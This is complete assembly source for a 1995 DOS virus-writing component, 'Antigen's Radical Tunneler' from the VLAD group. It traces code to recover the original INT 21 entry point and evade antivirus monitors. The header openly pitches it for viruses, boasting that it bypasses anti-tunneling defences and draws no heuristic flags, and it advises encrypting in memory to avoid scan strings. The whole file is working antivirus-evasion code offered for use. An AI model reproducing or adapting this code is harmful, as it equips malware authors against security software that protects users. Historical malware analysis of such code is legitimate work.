;>=---- * * * * * * * * * * * A. R. T. is here * * * * * * * * * * * ----=<; ; -\ * * * * * * * * * * * version 2.2 * * * * * * * * * * * -\ ; ; /_ Antigen's Radical Tunneler v 2.2 Copyright 1995, Antigen/VLAD /_ ; ;>=---- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----=<; ;; OLD and exciting features: ; - bypasses every stable anti-tunneling code out there which is usable ; in an AV TSR, and many that aren't out there. ; - aborts gracefully if a bad situation is encountered rather than freezing ; - stack tests are futile :) (i.e. TBAV, IBMAV code is useless) ;; NEW and exciting features: ; - found a bad bug at restore_8c, it didn't restore 8c (not sure how it ; slipped by my bug-checking) ; - I forgot to include out dx,al entirely ; - fixed a problem with Desqview multi-tasking ; - only 1407 bytes addition to the file! ; - only 1536 or so bytes needed in memory (depends on temp_sp) and if ; your virus encrypts, you can use the encrypt buffer for the data ; (might want to experiment with using video memory, etc.) ; - easier porting of code, just define a label called heap, and copy the ; constant definitions from the end of this file to somewhere after ; the label - no hastle ; - supports tunneling of more than just INT 21 with a variable termination ; test procedure and tunneled vector storage location ; - doesn't use INT 1 ever ; - handles all divide overflow exceptions (instead of just divide by 0) ; - handles the bound exception ; - handles test r/m8,i8 and test r/m16,i16 correctly (whoops) ; - handles setalc ; - faster ; - written in a half week, and it works better than v 1.0 ; - no heuristics flags when unencrypted by any scanner ; - this test program is easier to use - instead of returning an error code, ; it will tell you if it works or not. ; - works under DOS, QEMM, Desqview, Windows, Win32, Win95 (beta), PC-DOS 7.0 ; DOS 7.0 (beta), OS/2, and even Linux's DOS emu!! ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++! ;! I highly recommend that you! I even more highly re- ! ;! use a variant of my entry ! commend that you at least! ;! code since it is optimized ! encrypt in memory to av- ! ;! and _works_ ! oid simple scan strings ! ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++! ;; READ THIS! READ THIS! READ THIS! READ THIS! READ THIS! ;; License agreement: ; you the programmer are free to use ART and modify the source code as you ; wish (although I wouldn't recommend changing anything but what I designed ; to be changed) with one condition: If you release anything (virus, AV) ; which contains _any_ portion of ART, that you send me a registered (if AV) ; or commented source. There is no license fee, and I expect you to make ; necessary modifications as long as I have a copy of the code prior to ; release. This is only because I like to see where my code is used, and ; since use of ART is free, I would hope you wouldn't pirate it. To contact ; me, mail a uuencoded executable (if AV) or commented source to: ; vlad@trisection.mit.edu ; If you find any bugs or have any comments, please mail those also to ; vlad@trisection.mit.edu. Most importantly, enjoy your use of art, and ; write some kick-ass stuff which uses it :). ;; -Antigen ;----------------------------cut---cut---cut---cut--------------------------; ideal ; use TASM - you'll like yourself more segment code 'code' assume cs:code,ds:code,es:code,ss:code radix 16 ; use radix 16 or the results will be BIZARRE org 100 ; this is a .com- doesn't have to be though start: push cs pop ds mov di,sim_flags ; this simply saves code mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40 mov [word ptr di+(_cs - sim_flags)],cs mov [word ptr di+(_ip - sim_flags)],offset tunnel ;; set the cs:ip of art to cs:tunnel mov [word ptr di+(test_exit - sim_flags)],offset _21test ;; use the INT 21 tunnel tester mov [word ptr di+(tunnel_ip_ofs - sim_flags)],tunnel_ip ;; tell art where to put the tunneled cs:ip mov [byte ptr di],0 ;; clear all simulation flags mov ah,52 int 21 ; get DOS list of lists mov ax,[es:bx-2] ; ax = first MCB mov [word ptr di+(firstMCB - sim_flags)],ax mov [word ptr di+(return_address - sim_flags)],offset beginning ;; on return from saving the processor state, go to the beginning mov ax,0de1bh int 15 mov ah,30 ; we'll use get DOS version jmp save_ds ; jump into art ;----------------------->> art starts simulating at this point tunnel: int 21 ; this is tunneled ;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21) mov ax,0de1ch int 15 mov ax,[word ptr di+(tunnel_ip - sim_flags)] ;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL, ;; FS segment override, GS segment override, Operand Length Override, Address ;; length override, coprocessor escape instructions, and BPICE push cs pop ds cmp ax,0ffff jne successful mov ah,9 mov dx,offset unsuc_msg int 21 mov ax,4c00 int 21 successful: mov ah,9 mov dx,offset suc_msg int 21 mov ax,4c00 int 21 unsuc_msg: db 'Did not work :($' ; tells you if it works or not suc_msg: db 'Worked :)$' ;;assumptions: ; - the code will only be executed in a situation where no delta offset ; is necessary, i.e. in residence ; - radix is 16 ; - ss:sp = cs:tempsp ; - saved ss:sp is valid ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; sim_flags bitmapped values: ; 8 7 6 5 4 3 2 1 ; ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation ; ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked) ; ³ ³ ³ ³ ³ ÀÄ unused ; ³ ³ ³ ³ ÀÄ unused ; ³ ³ ³ ÀÄ set es = old ds in simulation ; ³ ³ ÀÄ unused ; ³ ÀÄ unused ; ÀÄ one of either int 0 or int 5 has been hooked unsuccessful: mov di,[word ptr cs:tunnel_ip_ofs] ; set in the initialization xor ax,ax dec ax ; ax=0ffff stosw exit_art: mov [word ptr cs:return_address],offset hide_tracks jmp restore_ds ; continue where we left off hide_tracks: jmp [dword ptr cs:_ip] ; no traces :) beginning: cld mov al,[byte ptr cs:sim_flags] ;; did the last instruction require hooking of an interrupt? test al,80 je no_reset xor di,di mov es,di ; es:di = int 0 vector test al,2 ; was it int 5? je was_int_0 mov di,4*5 ; int 5 vector was_int_0: mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector stosw mov ax,[word ptr cs:int0_5_scs] stosw and [byte ptr cs:sim_flags],not 82 ; turn off de flags no_reset: push cs pop es mov di,simulate_buffer ; es:di = simulate buffer ;; ds:si = traced cs:ip mov ds,[word ptr cs:di+(_cs-simulate_buffer)] mov si,[word ptr cs:di+(_ip-simulate_buffer)] ;; exceptions always push the ip of the ofending instruction on 286+ ;; and since nobody in their right mind would write software which ;; works only on 8086/8088s, I assume this will be the case. mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it ;; this calls the procedure installed to test whether we've tunneled far ;; enough call [word ptr cs:di+(test_exit-simulate_buffer)] jnc continue_art ;; if we reach here, we're done :) mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)] ;; di = 4 byte space for the tunneled cs:ip xchg ax,si stosw mov ax,ds stosw ; save the tunneled cs:ip jmp exit_art continue_art: ;; al = 1st byte of next instruction lodsb stosb ; save in simulate buffer call scan_for_invalid ; unhandleable opcode? jnc unsuccessful ; damn call scan_for_prefix ; prefix? jnc continue_art ; if so, read in next byte call scan_for_csip_change ; modifies cs and/or ip? ;; if so, it never returns, but jumps to continue_art call scan_for_int0_5_needed ; hook int 0/5 if needed call scan_for_no_mrm ; simple instruction? jnc goto_simulate ; then no problems ;; if we reach here, the instruction has a ModR/M byte which needs parsing push ax xchg ax,bx ; bl = instruction lodsb ; load the ModR/M into al skip_out: ;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0 ;; have an immediate value which was never copied to the simulate buffer cmp bl,0f6 je test_immm cmp bl,0f7 jne no_immm test_immm: stosb ; save the ModR/M mov ah,al ; again and al,111000b ; if column 0, ZF will be set xchg ah,al jne no_imms test bl,1 ; f7 has 2 bytes, f6 1 je one_immm movsb one_immm: movsb no_imms: call immm_parse_ModRM ; skip the stosb below jmp rest_main no_immm: call parse_ModRM ; store and parse the ModR/M rest_main: pop ax ; al = instruction byte call scan_for_immediate ; has immediate bytes? goto_simulate: jmp simulate ;=========================================================================== ; given a ModRM in al, determine the length of displacement ; es:di -> current location in simulation buffer ;; format of ModR/M: ;; bit: 8 7 6 5 4 3 2 1 ;; Mod: 1 1 = register value, i.e. just a ModR/M byte ;; Mod: 1 0 = memory value + a 16 bit displacement ;; Mod: 0 1 = memory value + an 8 bit displacement ;; mrm: 0 0 1 1 0 = just a 16 bit displacement ;; mrm: 0 0 x x x = just a ModR/M byte (x x x != 1 1 0) parse_ModRM: stosb ; save the ModRM immm_parse_ModRM: mov ah,al and al,0c0 ; isolate the Mod and the R/M cmp al,0c0 je no_disp cmp al,80 je disp16 cmp al,40 je disp8 and ah,111b cmp ah,6 jne no_disp disp16: movsb disp8: movsb no_disp: ret ;=========================================================================== restore_ds: mov ds,[word ptr cs:_ds] restore_proc_state: mov ax,cs mov ss,ax mov sp,stack_bottom pop ax bx cx dx si di bp es popf pop ss mov sp,[word ptr cs:_sp] jmp [word ptr cs:return_address] ;=========================================================================== save_ds: mov [word ptr cs:_ds],ds save_proc_state: mov [word ptr cs:_sp],sp mov [word ptr cs:_ss],ss mov [word ptr cs:_ax],ax mov ax,cs mov ss,ax mov sp,stack_top pushf cli push es bp di si dx cx bx mov ax,cs mov ss,ax mov sp,[word ptr cs:temp_sp] ; use temporary stack jmp [word ptr cs:return_address] ;=========================================================================== ;=========================================================================== simulate: ;; write the ret to simulate buffer call write_ret mov di,sim_flags ; save bytes ;; zero return address for now and [word ptr cs:di+(return_address - sim_flags)],0 test [byte ptr cs:di],10 ; set es = ds? je no_es sub [word ptr cs:di+(return_address - sim_flags)],\ start_simulate-let_es_eq_ds ; adjust return address no_es: test [byte ptr cs:di],1 ; set ds = cs? jne let_ds_eq_cs ; ds already = cs ;; restore ds if we don't need it to be cs mov ds,[word ptr cs:di+(_ds - sim_flags)] let_ds_eq_cs: add [word ptr cs:return_address],offset start_simulate jmp restore_proc_state let_es_eq_ds: mov [word ptr cs:temp_es],es ; remember for afterwards mov es,[word ptr cs:_ds] ; set es = ds start_simulate: mov [word ptr cs:return_address],offset ds_cleanup jmp near simulate_buffer ; do de dirty werk ds_cleanup: mov [word ptr cs:return_address],offset test_ds jmp save_proc_state ; save everytink but ds test_ds: mov di,sim_flags test [byte ptr cs:di],10 ; was es = ds? je es_is_just_fine_the_way_it_is ; heh, guess not mov ax,[word ptr cs:di+(temp_es - sim_flags)] mov [word ptr cs:di+(_es - sim_flags)],ax es_is_just_fine_the_way_it_is: test [byte ptr cs:di],1 ; was ds = cs? je normal_cmp ; if so, and ds now != cs, mov ax,ds ; we want top save the change cmp ax,[word ptr cs:di+(_cs - sim_flags)] jne normal_cmp mov ds,[word ptr cs:di+(_ds - sim_flags)] normal_cmp: mov [word ptr cs:di+(_ds - sim_flags)],ds and [byte ptr cs:di],not 11 ; turn off ds = cs,es = ds cycle: jmp beginning ; go topside ;=========================================================================== write_ret: mov [word ptr cs:_ip],si ; save new ip mov ax,0ff2e ; cs:... stosw mov ax,(low offset return_address) shl 8 + 26 stosw mov al,(high offset return_address) stosb ; ...jmp [return_address] ret ;=========================================================================== scan_for_invalid: mov bx,offset invalid_sfi mov cx,end_invalid_sfi - invalid_sfi jmp scan ; let scan handle the ret invalid_sfi: db 0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1 end_invalid_sfi: ;=========================================================================== scan_for_prefix: cmp al,2e ; cs:? je set_sfp reset_sfp: mov bx,offset prefixes mov cx,end_prefixes - prefixes call scan jc no_reset_sfp and [byte ptr cs:sim_flags],not 1 ; turn off ds = cs flag no_reset_sfp: ret set_sfp: or [byte ptr cs:sim_flags],1 ; turn on ds = cs flag ;; set al = 3e which is ds: or al,10 ; this auto. clears carry :) dec di ; replace the cs: stosb ret prefixes: db 26,36,3e,64,65,0f0,0f2,0f3 end_prefixes: ;=========================================================================== scan_for_int0_5_needed: push ax es di cmp al,0f6 ; DIV/IDIV je needed0 cmp al,0f7 je needed0 cmp al,0d4 ; AAM je might_need_0 cmp al,62 ; Bound je needed5 do_da_ret_thang: pop di es ax ret needed5: mov di,4*5 or [byte ptr cs:sim_flags],2 ; remember it was int 5 jmp skip_0 might_need_0: lodsb ; the immediate of AAM dec si or al,al ; is it 0? jne do_da_ret_thang ; if so we need to hook int 0 needed0: xor ax,ax mov di,ax mov es,ax ; es:di = int 0 vector skip_0: or [byte ptr cs:sim_flags],80 ; remember we hooked an int mov ax,[es:di] mov [word ptr cs:int0_5_sip],ax mov ax,[es:di+2] mov [word ptr cs:int0_5_scs],ax ; save the vector mov ax,offset int0_5 stosw mov ax,cs stosw ; set it to ours jmp do_da_ret_thang ;=========================================================================== standard_cfar: ; call far push ds ; return cs lea ax,[si+4] ; return ip push ax ;=========================================================================== standard_far: lodsw lodsw ; ax = the new cs mov ds,ax f_standard_far: or al,8 ; make sure al is non-zero cmp ax,0 ; shorter than a jmp short org $ - 2 standard_near: mov al,0 ; make sure al = 0 do_gnear: mov [word ptr cs:_ip],bx ; save the new ip or al,al ; was it far? je near_direct do_gfar: ; if al != 0 then mov [word ptr cs:_cs],ds ; yes near_direct: jmp to_beginning ; restore temp stack ;=========================================================================== do_cnear: lea ax,[si+2] ; return ip push ax ; save on stack jmp do_near ; do near jump procedure ;=========================================================================== do_cond: mov [byte ptr cs:test_jcond],al ; save the jump mov cx,[word ptr cs:_cx] ; if loop, it uses cx xchg bh,bl ; bh = short offset mov bl,0 ; set the current jmp to 0 mov bp,sp mov bp,[bp-2] ; bp = stack word push [word ptr cs:flags] popf ; restore flags push bp ; keep the stack untarnished pop bp jmp test_jcond ; flush prefetch on 486- test_jcond: ;; the je is replaced with the jump of choice (current instruction) je has_offset cmp ax,0 ; shorter dan a jmp short org $ - 2 has_offset: mov bl,bh ; use the short offset mov [word ptr cs:_cx],cx ; save any changes to cx ;; al = relative offset do_short: xchg ax,bx cbw ; convert the short to a near xchg ax,bx dec bx ; short jmps are 2 bytes ;; bx = relative offset do_near: inc bx inc bx inc bx ; near jmps are 3 bytes long add [word ptr cs:_ip],bx ; set new ip ;=========================================================================== to_beginning: mov [word ptr cs:_sp],sp ; remember changes to sp mov bx,cs mov ss,bx mov sp,offset stack_top+300 ; use temporary stack jmp beginning ; cycle ;=========================================================================== scan_for_csip_change: mov bx,offset temp_sp mov [word ptr cs:bx],sp ; save current sp ;; use original stack (smaller code) mov ss,[word ptr cs:bx+(_ss - temp_sp)] mov sp,[word ptr cs:bx+(_sp - temp_sp)] xchg ax,bx lodsw xchg ax,bx ;; al = current instruction, ah = 0 (4 lines down) ;; bx = next 2 bytes dec si dec si mov ah,0 cmp al,9a ; call far je standard_cfar cmp al,0ea ; jmp far je standard_far cmp al,0ebh ; jmp short je do_short cmp al,0e9 ; jmp near je do_near cmp al,0e8 ; call near je do_cnear cmp al,0e0 ; loopne jb no_cond ; loope is e1, loop is e2 cmp al,0e3 ; jcxz jbe do_cond no_cond: cmp al,70 ; all the jx/jnx jumps jb not_jcond cmp al,7f jbe do_cond not_jcond: cmp al,0c2 ; ret iw je iw_ret cmp al,0c3 ; ret je standard_ret cmp al,0ca ; retf iw je iw_retf cmp al,0cbh ; retf je standard_retf cmp al,0cc ; int 3 je trap_int cmp al,0cdh ; int xx je do_int cmp al,0ceh ; into je overflow_int cmp al,0cfh ; iret je do_iret cmp al,0ff ; indirect jmp/call (maybe) je test_ff jmp restore_temp_stack ; return to the sim cycle ;=========================================================================== iw_retf: ;; remember that this is a retf and also not an iret or ax,101 iw_ret: ;; remember that an imm16 must be added to sp or ah,2 test ah,1 jne standard_retf standard_ret: mov al,0 ; not retf cmp ax,0 ; shorter jmp short org $ - 2 standard_retf: and al,not 2 ; not iret do_iret: do_retn: pop [word ptr cs:_ip] ; pop ip from stack test al,1 ; far? je retn_only pop [word ptr cs:_cs] ; pop cs from stack test al,2 ; iret? je retf_only pop [word ptr cs:flags] ; pop flags retf_only: retn_only: test ah,2 ; immediate word? je no_iw add sp,bx ; bx = that word (ca xxxx) no_iw: jmp to_beginning ; cycle ;----------------------------- ; thses are used by test_ff goto_call_near: push si goto_jmp_near: jmp standard_near goto_call_far: push [word ptr cs:_cs] si goto_jmp_far: jmp f_standard_far ;=========================================================================== overflow_int: test [word ptr cs:flags],800 ; OF set? mov bl,4 ; int 4 if so jne do_sint mov bx,si ; si = instruction after INTO jmp do_gnear ; reuse code to save size trap_int: mov bl,3 ; use int 3 do_sint: dec si ; cc,ce are 1 byte < cd xx ;=========================================================================== do_int: mov bh,0 ; bx = int number shl bl,1 shl bl,1 ; bx = bx*4 inc si push [word ptr cs:flags] ds si ; order of stack in an int and [byte ptr cs:flags+1],not 3 ; turn off TF & IF xor ax,ax mov ds,ax lds bx,[bx] ; ds:bx =int vector or al,8 ; it's far, so remember jmp do_gnear ;=========================================================================== test_ff: mov ax,cs mov ss,ax mov sp,[word ptr cs:temp_sp] ; need temporary stack lodsb ; al = ModR/M mov ah,al ; remember it and al,111000b ; isolate opcode in ModR/M push ax ; save for later cmp al,2 shl 3 jb not_csip_ff cmp al,5 shl 3 ; if 5 > reg > 2 it needs sim ja not_csip_ff call get_ModRM ; get the new cs:ip xchg ax,bx ; ds:bx = new cs:ip pop ax ; ax = reg of Mod reg R/M mov ss,[word ptr cs:_ss] mov sp,[word ptr cs:_sp] mov si,[word ptr cs:_ip] cmp al,2 shl 3 ; call near je goto_call_near cmp al,3 shl 3 ; call far je goto_call_far cmp al,4 shl 3 ; jmp near je goto_jmp_near cmp al,5 shl 3 ; jmp far je goto_jmp_far not_csip_ff: dec si ; ds:si -> ModR/M pop ax ; pop to get the ret to work mov al,0ff ; now it's like when started ret ;=========================================================================== scan_for_no_mrm: cmp al,0e ; push cs jne not_pushcs dec di ; es:di -> push cs or al,10 ; push ds stosb ; switch push cs with push ds or [byte ptr cs:sim_flags],1 ; remember to set ds = cs ret not_pushcs: cmp al,8c ; mov r/m16,segmentr register? jne not_mov_reg_seg lodsb ; al = ModR/M push ax ; save it and al,111000b ; isolate the register cmp al,1000b ; cs? jne not_cs or [byte ptr cs:sim_flags],1 ; set ds = cs and use ds pop ax or al,10000b ; now = ds setup_skip: pop bx ; pop the return address push ax ; setup to skip normal route mov bl,08c jmp skip_out ; go directly to parse_modR/M not_cs: ;; now to check for: ; mov [cs:somewhere],ds ; which becomes ; mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops) ; so I use ; mov [ds:somewhere],es and set es = ds cmp al,11000b ; ds? jne restore_8c test [byte ptr cs:sim_flags],1 ; is ds = cs? urgh, problem je restore_8c or [byte ptr cs:sim_flags],10 ; OK, use es instead pop ax xor al,11000b ; use es jmp setup_skip restore_8c: dec si pop ax mov al,8c stc ret not_mov_reg_seg: cmp al,0c8 ; enter? jne next_sfnm movsw ; the only 4 byte instruction movsb ret next_sfnm: cmp al,40 jb do_scan_sfnm ; 40 <= instructions <= 61 cmp al,62 ; are all 1 byte instructions cmc ja success_sfnm do_scan_sfnm: cmp al,90 ; 9a is never seen here jb do_scan_sfnm2 ; 90 <= instrucitons <= 9f cmp al,0a0 ; are all 1 byte instructions cmc ja success_sfnm do_scan_sfnm2: push ax mov bx,offset one_byters mov cx,two_byters - one_byters call scan ; scan for 1 byters jnc success1 mov cl,three_byters - two_byters call scan ; scan for 2 byters jnc success2 mov cl,end_sfnm - three_byters call scan ; and three byte instructions jc no_success_sfnm movsb success2: movsb success1: mov ah,0 ; shorter jmp short org $ - 1 no_success_sfnm: stc pop ax success_sfnm: ret one_byters: db 6,7,0e db 16,17,1e,1f db 27,2f db 37,3f db 6c,6dh,6e,6f db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af db 0c9 db 0d6,0d7 db 0ee ;skip halt (no need to worry if that's executed!) db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh two_byters: db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib db 6a ;push imm8 db 0a8 ;test al,ib db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib db 0d4,0d5 ;aam and aad db 0e4,0e6 ;in/out al,ib db 0e5,0e7 ;in/out ax,ib three_byters: db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw db 68 ; push imm16 db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax db 0a9 ;test ax,iw db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw end_sfnm: ;=========================================================================== scan_for_immediate: push ax ; opcodes with an imm value mov bx,offset immediates_8 mov cx,immediates_16 - immediates_8 call scan jnc success_1_sfi mov cl,end_immediates - immediates_16 call scan jc no_imm_sfi movsb success_1_sfi: movsb no_imm_sfi: pop ax ret immediates_8: db 6bh,80,82,83,0c0,0c1,0c6 immediates_16: db 69,81,0c1,0c7 end_immediates: ;=========================================================================== ; es:bx = index ; al = byte to scan for ; cx = number of bytes to scan scan: cmp [es:bx],al je found_scan inc bx loop scan stc found_scan: ; if =, CF will be cleared ret ;=========================================================================== _21test: ;; check for instructions which DO NOT exist at DOS entry point cmp [byte ptr si],0cf ; iret je not_in_DOS cmp [byte ptr si],0cbh ; retf je not_in_DOS cmp [byte ptr si],0ca ; retf iw je not_in_DOS cmp [byte ptr si],0c3 ; ret je not_in_DOS cmp [byte ptr si],0c2 ; ret iw je not_in_DOS mov ax,si mov cl,4 shr ax,cl ; un-segmentize ;; segmentize our current location mov cx,ds add ax,cx cmp ax,[word ptr cs:firstMCB] not_in_DOS: ret ;=========================================================================== ;; interrupt handler (sets up tracing through the int handler) int0_5: mov di,sim_flags add sp,4 ;; push the 'real' return address, replacing the simulate buffer's location push [word ptr cs:di+(_cs - sim_flags)] push [word ptr cs:di+(int0_5_ip - sim_flags)] ;; save the new sp mov [word ptr cs:di+(_sp - sim_flags)],sp lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)] ;; ds:ax = new cs:ip (location of their int 0/5 vector mov [word ptr cs:di+(_cs - sim_flags)],ds mov [word ptr cs:di+(_ip - sim_flags)],ax ;; restore temp_stack mov ax,cs mov ss,ax mov sp,offset stack_top + 300 and [byte ptr cs:di],not 11 ; turn off any flags still on jmp beginning ; cycle ;=========================================================================== get_ModRM: mov [word ptr cs:temp_sp],sp dec di ;; use a temporary instruction to get what's at the ModR/M easily mov al,0c5h ; lds r16,r/m16 stosb mov al,ah and al,11000000b ; look at the Mod ;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so ;; use mov r16,r16 instead cmp al,11000000b jne OK_to_use_lds ;; this only happens for call,jmp near dec di ; es:di -> lds r16,r/m16 mov al,8bh ; mov r16,r/m16 stosb ; replace the lds OK_to_use_lds: mov al,ah and al,11000111b ; set r16 to ax call parse_ModRM ; copy correct number of bytes call write_ret ; write the return and save ip mov [word ptr cs:return_address],offset next_gmw test [byte ptr cs:sim_flags],1 ; ds = cs? je no_gmw_ds jmp restore_proc_state ; restore all but ds no_gmw_ds: jmp restore_ds ; restore everything next_gmw: mov [word ptr cs:return_address],offset next_gmw1 jmp near simulate_buffer ; get the address in ds:ax next_gmw1: and [byte ptr cs:sim_flags],not 1 ; turn off the flag restore_temp_stack: ; self-explanatory mov bx,cs mov ss,bx mov sp,[cs:temp_sp] ; all set :) ret ;=========================================================================== ; put this label anywhere you want heap: sim_flags = offset heap firstMCB = sim_flags + 1 tunnel_ip = firstMCB + 2 simulate_buffer = tunnel_ip + 4 temp_es = simulate_buffer + 16 return_address = temp_es + 2 temp_sp = return_address + 2 tunnel_ip_ofs = temp_sp + 2 int0_5_ip = tunnel_ip_ofs + 2 int0_5_sip = int0_5_ip + 2 int0_5_scs = int0_5_sip + 2 _ip = int0_5_scs + 2 _cs = _ip + 2 _ds = _cs + 2 stack_bottom = _ds + 2 _ax = stack_bottom _bx = _ax + 2 _cx = _bx + 2 _dx = _cx + 2 _si = _dx + 2 _di = _si + 2 _bp = _di + 2 _es = _bp + 2 flags = _es + 2 stack_top = flags + 2 _ss = stack_top _sp = _ss + 2 test_exit = _sp + 2 ends code end start